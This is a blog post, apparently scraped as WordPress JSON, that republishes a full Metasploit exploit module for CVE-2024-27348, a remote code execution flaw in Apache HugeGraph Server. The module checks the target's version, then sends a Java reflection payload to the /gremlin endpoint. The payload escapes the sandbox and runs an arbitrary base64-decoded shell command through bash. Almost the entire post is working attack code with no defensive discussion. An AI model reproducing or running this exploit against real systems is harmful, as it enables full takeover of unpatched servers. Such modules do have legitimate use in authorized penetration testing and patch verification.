##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking<\/p>\n
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Apache HugeGraph Gremlin RCE’,
‘Description’ => %q{
This module exploits CVE-2024-27348 which is a Remote Code Execution (RCE) vulnerability that exists in
Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve
RCE through Gremlin, resulting in complete control over the server
},
‘Author’ => [
‘6right’, # discovery
‘jheysel-r7’ # module
],
‘References’ => [
[ ‘URL’, ‘https:\/\/blog.securelayer7.net\/remote-code-execution-in-apache-hugegraph\/’],
[ ‘CVE’, ‘2024-27348’]],
‘License’ => MSF_LICENSE,
‘Platform’ => %w[unix linux],
‘Privileged’ => true,
‘Arch’ => [ ARCH_CMD ],
‘Targets’ => [
[ ‘Automatic Target’, {}]],
‘DefaultTarget’ => 0,
‘DisclosureDate’ => ‘2024-04-22’,
‘Notes’ => {
‘Stability’ => [ CRASH_SAFE, ],
‘SideEffects’ => [ ARTIFACTS_ON_DISK, ],
‘Reliability’ => [ REPEATABLE_SESSION, ]}
)
)
register_options([
Opt::RPORT(8080),
OptString.new(‘TARGETURI’, [true, ‘Base path to the Apache HugeGraph web application’, ‘\/’])
])
end<\/p>\n
def check
res = send_request_cgi({
‘method’ => ‘GET’
})<\/p>\n
return CheckCode::Unknown(‘No response from the vulnerable endpoint \/gremlin’) unless res
return CheckCode::Unknown(“The response from the vulnerable endpoint \/gremlin was: #{res.code} (expected: 200)”) unless res.code == 200<\/p>\n
version = res.get_json_document&.dig(‘version’)
return CheckCode::Unknown(‘Unable able to determine the version of Apache HugeGraph’) unless version<\/p>\n
if Rex::Version.new(version).between?(Rex::Version.new(‘1.0.0’), Rex::Version.new(‘1.3.0’))
return CheckCode::Appears(“Apache HugeGraph version detected: #{version}”)
end<\/p>\n
CheckCode::Safe(“Apache HugeGraph version detected: #{version}”)
end<\/p>\n
def exploit
print_status(“#{peer} – Running exploit with payload: #{datastore[‘PAYLOAD’]}”)<\/p>\n
class_name = rand_text_alpha(4..12)
thread_name = rand_text_alpha(4..12)
command_name = rand_text_alpha(4..12)
process_builder_name = rand_text_alpha(4..12)
start_method_name = rand_text_alpha(4..12)
constructor_name = rand_text_alpha(4..12)
field_name = rand_text_alpha(4..12)<\/p>\n
java_payload = <<~PAYLOAD
Thread #{thread_name} = Thread.currentThread();
Class #{class_name} = Class.forName(\\”java.lang.Thread\\”);
java.lang.reflect.Field #{field_name} = #{class_name}.getDeclaredField(\\”name\\”);
#{field_name}.setAccessible(true);
#{field_name}.set(#{thread_name}, \\”#{thread_name}\\”);
Class processBuilderClass = Class.forName(\\”java.lang.ProcessBuilder\\”);
java.lang.reflect.Constructor #{constructor_name} = processBuilderClass.getConstructor(java.util.List.class);
java.util.List #{command_name} = java.util.Arrays.asList(#{“bash -c {echo,#{Rex::Text.encode_base64(payload.encoded)}}|{base64,-d}|bash”.strip.split(‘ ‘).map { |element| “\\”#{element}\\”” }.join(‘, ‘)});
Object #{process_builder_name} = #{constructor_name}.newInstance(#{command_name});
java.lang.reflect.Method #{start_method_name} = processBuilderClass.getMethod(\\”start\\”);
#{start_method_name}.invoke(#{process_builder_name});
PAYLOAD<\/p>\n
data = {
‘gremlin’ => java_payload,
‘bindings’ => {},
‘language’ => ‘gremlin-groovy’,
‘aliases’ => {}
}<\/p>\n
res = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, ‘\/gremlin’),
‘method’ => ‘POST’,
‘ctype’ => ‘application\/json’,
‘data’ => data.to_json
})<\/p>\n
print_error(‘Unexpected response from the vulnerable exploit’) unless res && res.code == 200
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,‘Name’ => ‘Apache HugeGraph Gremlin RCE’,‘Description’ => %q{This module exploits CVE-2024-27348 which is a Remote Code Execution (RCE) vulnerability that exists inApache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58905","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58905","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58905"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58905\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58905"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58905"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58905"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}